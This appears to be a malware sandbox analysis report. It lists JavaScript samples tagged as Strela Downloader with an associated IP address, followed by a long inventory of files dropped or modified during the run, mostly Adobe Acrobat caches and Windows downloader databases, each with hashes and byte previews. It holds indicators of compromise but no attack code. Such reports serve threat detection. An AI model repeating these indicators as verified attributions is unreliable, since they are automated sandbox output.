BITWEB-ASRU	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067142508736352
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqL:2JIB/wUKUKQncEmYRTwh0/
MD5:	9D7D712864676A4E52CB7E1FED087A84
SHA1:	4A3EEAE18BFC871312F936CB1272E8FAF737172E
SHA-256:	065B5A7C1C3F7A63B8F926E41D63CBCE98540BC444BDCFC773741EA2ECAEB372
SHA-512:	86D698DFF2895C7BB31BC6440B04C85001BF692298C4FC9B834134B5C2196EB600E99F34C950936CCBE9262A68C7A6E401513A656109A4E734E056A64992AF3E
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27de20ff, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900199667085517
Encrypted:	false
SSDEEP:	1536:zSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:zazaPvgurTd42UgSii
MD5:	3F75F0ADD20F54FE8BB69DC928B0F326
SHA1:	985549E6B4CB79A8989DF59BD8DA10B3218DE071
SHA-256:	57DDE5345DAC65FF167F0AF4A32AC4471C5D4FABD50624EF5E92C28BB4E1B3EA
SHA-512:	D7935ACCCB80B661DADB4FE78CD690137B6831C0ED1362E9B5219AC8D246368A3C40A29C0D22A34F09A6ED372332B26BA0F172056704BA54F7B1CB915745CB61
Malicious:	false
Preview:	'. .... ...............X\...;...{......................0.`.....42...{5.,....}_.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................?.\|,....}}....................,....}_..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08195248858910457
Encrypted:	false
SSDEEP:	3:DYe+5Y6vRygveqt/57Dek3JZ5jY6vltAllEqW3l/TjzzQ/t:DzMYERzvPR3tDYEltAmd8/
MD5:	177242E9741FE4F26F98994168773F7D
SHA1:	446F9AF75BD7D34749383B70902701FCAE9511F7
SHA-256:	3B6A426756967949C308A518D21A96DC34D765C3D489E68D8CEC6046998BA7F9
SHA-512:	75276707ACF2452817E3847E43EAEFAC45EDDFD2F8B91A742678DA43DB844BDD6866AEC268E7D69DC6F84D6CD65DBCE31DA03A758614E2E63D3EF68345664E1F
Malicious:	false
Preview:	.6.......................................;...{..,....}_.42...{5.........42...{5.42...{5...Y.42...{59...................,....}_.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.178683244066395
Encrypted:	false
SSDEEP:	6:iO4Hlyq2PcNwi2nKuAl9OmbnIFUtSH1z1ZmwsH1lRkwOcNwi2nKuAl9OmbjLJ:74IvLZHAahFUtm1z1/c1z54ZHAaSJ
MD5:	9DC201E0BEF7C29EA687753C4FE3A462
SHA1:	A5BB6A1EE09621CAB7BBFF0D58FCA81ABC773576
SHA-256:	296BE868EAA1AB08058F28238A4922F0FB452A0D5B47AE281E3BBABCF0AF196E
SHA-512:	65D94BC43262AD853E2B4D8AE738AC9D7D226F69B7FF690214EF222503B9D08F684D798B6F78BFBDE4B9BFBE3BD5CF81A02B2CC32CAB094591310D475DD632B6
Malicious:	false
Preview:	2025/01/10-12:24:42.836 1e10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:24:42.838 1e10 Recovering log #3.2025/01/10-12:24:42.838 1e10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.178683244066395
Encrypted:	false
SSDEEP:	6:iO4Hlyq2PcNwi2nKuAl9OmbnIFUtSH1z1ZmwsH1lRkwOcNwi2nKuAl9OmbjLJ:74IvLZHAahFUtm1z1/c1z54ZHAaSJ
MD5:	9DC201E0BEF7C29EA687753C4FE3A462
SHA1:	A5BB6A1EE09621CAB7BBFF0D58FCA81ABC773576
SHA-256:	296BE868EAA1AB08058F28238A4922F0FB452A0D5B47AE281E3BBABCF0AF196E
SHA-512:	65D94BC43262AD853E2B4D8AE738AC9D7D226F69B7FF690214EF222503B9D08F684D798B6F78BFBDE4B9BFBE3BD5CF81A02B2CC32CAB094591310D475DD632B6
Malicious:	false
Preview:	2025/01/10-12:24:42.836 1e10 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:24:42.838 1e10 Recovering log #3.2025/01/10-12:24:42.838 1e10 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.115400725158288
Encrypted:	false
SSDEEP:	6:iO4HILuq2PcNwi2nKuAl9Ombzo2jMGIFUtSHILjUZmwsHILvzkwOcNwi2nKuAl97:742uvLZHAa8uFUtm2o/c2vz54ZHAa8RJ
MD5:	8BB5BFA14E544FC22A3CCA02DEF95A7C
SHA1:	FC197A06E8CF51AFBC29754DE3EF9AF02A959F2A
SHA-256:	8B9BF570B6431FF6BF7E16B8951E73B71DB7EC758E4C701EB77E112B5BF466A4
SHA-512:	39EB069189DACA4DB8900DC5F265E2CDBB27A8C15D78398819F704BA0D4C21BCC8BE178D8559030F87F13C5EC2BD99B4A3CD2A104686575E0F899A88E1227096
Malicious:	false
Preview:	2025/01/10-12:24:43.100 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:24:43.105 1ec0 Recovering log #3.2025/01/10-12:24:43.106 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.115400725158288
Encrypted:	false
SSDEEP:	6:iO4HILuq2PcNwi2nKuAl9Ombzo2jMGIFUtSHILjUZmwsHILvzkwOcNwi2nKuAl97:742uvLZHAa8uFUtm2o/c2vz54ZHAa8RJ
MD5:	8BB5BFA14E544FC22A3CCA02DEF95A7C
SHA1:	FC197A06E8CF51AFBC29754DE3EF9AF02A959F2A
SHA-256:	8B9BF570B6431FF6BF7E16B8951E73B71DB7EC758E4C701EB77E112B5BF466A4
SHA-512:	39EB069189DACA4DB8900DC5F265E2CDBB27A8C15D78398819F704BA0D4C21BCC8BE178D8559030F87F13C5EC2BD99B4A3CD2A104686575E0F899A88E1227096
Malicious:	false
Preview:	2025/01/10-12:24:43.100 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:24:43.105 1ec0 Recovering log #3.2025/01/10-12:24:43.106 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7e2d7d9c-4051-4a10-b912-a51f8b903ece.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9687828516377985
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqsMhsBdOg2Hzcaq3QYiubSpDyP7E4T3y:Y2sRds3MydMHK3QYhbSpDa7nby
MD5:	E4909AE8E7173CED8DC0E1BF1EF950D1
SHA1:	D331548EAF3E788769272CC5D83DE0BA3F590BC1
SHA-256:	8D50B51A6140E99DE785D1D592672535CDDE4F9AD7F0AB5D06F5F330C5AF72D0
SHA-512:	1E5066A3EA83EAF50E68EBEF77F5F994047781B8ACEF9D3326E2F51E978EDAB30487B520038D1C8302A561C51077A3C6EE5EDDF7AAE01744098162D92D7D8145
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381089894631696","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134555},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\80494ff8-1cd2-4b59-a0e3-c1a6da4ab478.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF5c7d2f.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.237399550548115
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP6bOiW:CwNw1GHqPySfkcigoO3h28ytP6bzW
MD5:	4470C1166349E70DB2E6435B7783A80E
SHA1:	F3F314F71DCC9A10F3586C2A181A36E89C9C96FE
SHA-256:	F256F27E74F1A8B03DAAB883A52D1DB68FDC7F64165DA558489F17350E9EE8CF
SHA-512:	8B6D9A46E9A4E341A0D367DAE55BB31277B7798BEAACA1E416E59FC0F77277A4F128FC9092188695C3F5A240625DEB2DDFFF9D7FD0791A3539BEAA1E848AC71C
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.152637363739835
Encrypted:	false
SSDEEP:	6:iO4HILlUq2PcNwi2nKuAl9OmbzNMxIFUtSHILtVPiZmwsH+zkwOcNwi2nKuAl9Ob:742WvLZHAa8jFUtm2nPi/c+z54ZHAa8E
MD5:	B24F2E6EBEA69AA16EA281464FBD1C1F
SHA1:	C6F92FCD8365B9C2DB38AAD8891D1FC584EF9BDF
SHA-256:	9621E0604A49A14EDC37A012EB8C96683282420356F11AE64838A1D564FB21C7
SHA-512:	F4D3F8E7F16850FBB602140A510B9F151E1B591A75095DA3C542A2910456DF1489BACE9DE0D4A548DF64E01CBF0846168E68CCF884E8ECE2584685B21008B728
Malicious:	false
Preview:	2025/01/10-12:24:43.913 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:24:43.990 1ec0 Recovering log #3.2025/01/10-12:24:44.006 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.152637363739835
Encrypted:	false
SSDEEP:	6:iO4HILlUq2PcNwi2nKuAl9OmbzNMxIFUtSHILtVPiZmwsH+zkwOcNwi2nKuAl9Ob:742WvLZHAa8jFUtm2nPi/c+z54ZHAa8E
MD5:	B24F2E6EBEA69AA16EA281464FBD1C1F
SHA1:	C6F92FCD8365B9C2DB38AAD8891D1FC584EF9BDF
SHA-256:	9621E0604A49A14EDC37A012EB8C96683282420356F11AE64838A1D564FB21C7
SHA-512:	F4D3F8E7F16850FBB602140A510B9F151E1B591A75095DA3C542A2910456DF1489BACE9DE0D4A548DF64E01CBF0846168E68CCF884E8ECE2584685B21008B728
Malicious:	false
Preview:	2025/01/10-12:24:43.913 1ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:24:43.990 1ec0 Recovering log #3.2025/01/10-12:24:44.006 1ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438835719391247
Encrypted:	false
SSDEEP:	384:Seyci5GeiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:N2urVgazUpUTTGt
MD5:	5E2AAA7D9B6604DDCE8B212FB388D256
SHA1:	32972F23A32F1DDA50FF91599596A98A947572B5
SHA-256:	7B15B0F87298DCBA4E21E9E3B44FD26D40A88BBB5251FFD51329D2ED71A8FB37
SHA-512:	243A5C77BC2E23B3ADC84613CD9B790EBEFDF57F90FB19ECAC3BD4906E9E85C1E11425822906CA11D5842703F5266336A8F07C0BEA7A721C277BB23AB6BA923B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2123552705362823
Encrypted:	false
SSDEEP:	24:7+tnNrV6wKeqLrzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9s:7M/WeqvmFTIF3XmHjBoGGR+jMz+Lh6
MD5:	12CF33767F9FB0919D3D3F2D61D4F864
SHA1:	12442299997FE57863B4955683561937456AB69C
SHA-256:	A326F1745D2EAC98DFEBFD96EC8A4C72DA2B537D9E2BDC506A929841D56CFA48
SHA-512:	F01DD6399D5D5455B884F64DD5D42BB3DB609C4CADA0AB35E6518204417EB363FC89D96828AA812C12E8B0AAE9E15A2360CBA3C9F1E6164411EB119DB16FA0F1
Malicious:	false
Preview:	.... .c......gB.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklwf04ltfllXlE/HT8knDtNNX8RolJuRdxLlGB9lQRYwpDdt:kKpfXeT8uDTNMa8RdWBwRd
MD5:	E71BABC0440A2174829F86A681D6D11B
SHA1:	784A635E102D2E2B92937299DED28A591ECBFF7D
SHA-256:	7C48214FC12E4519A3829AB0B381DD0C147BBAE9CC48F911C7271F4089B0A842
SHA-512:	47A6E60ECBEE1A9B3641560277FFB315DE057B7767442D12F3D100CC2688019CDB315067A77BAFC586069457F26D69AFBA24F0BB2ABABFD0F84919C40C81F5C7
Malicious:	false
Preview:	p...... .........z;..c..(....................................................... ..........W....B...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1330815974444413
Encrypted:	false
SSDEEP:	6:kKt/L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:tiDnLNkPlE99SNxAhUe/3
MD5:	24D5C05E004CE376256210E535E04E4B
SHA1:	54CA4D874CC0D6EE9F35794FEB5A150FBDA91754
SHA-256:	DF1F291B61F967D2667FB7E8AAE6EBDA1B45594FCE31859DCCABC171551A6C16
SHA-512:	7EBEF84F6F978DAF6B70B5E70D3A17E5082A7F27F93DF2581204549FA692F201FC2A6BF4BE93A9E8176137E12E441E5C719574DA4A25FEA9E77558D7A18E722E
Malicious:	false
Preview:	p...... .........{...c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7512

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
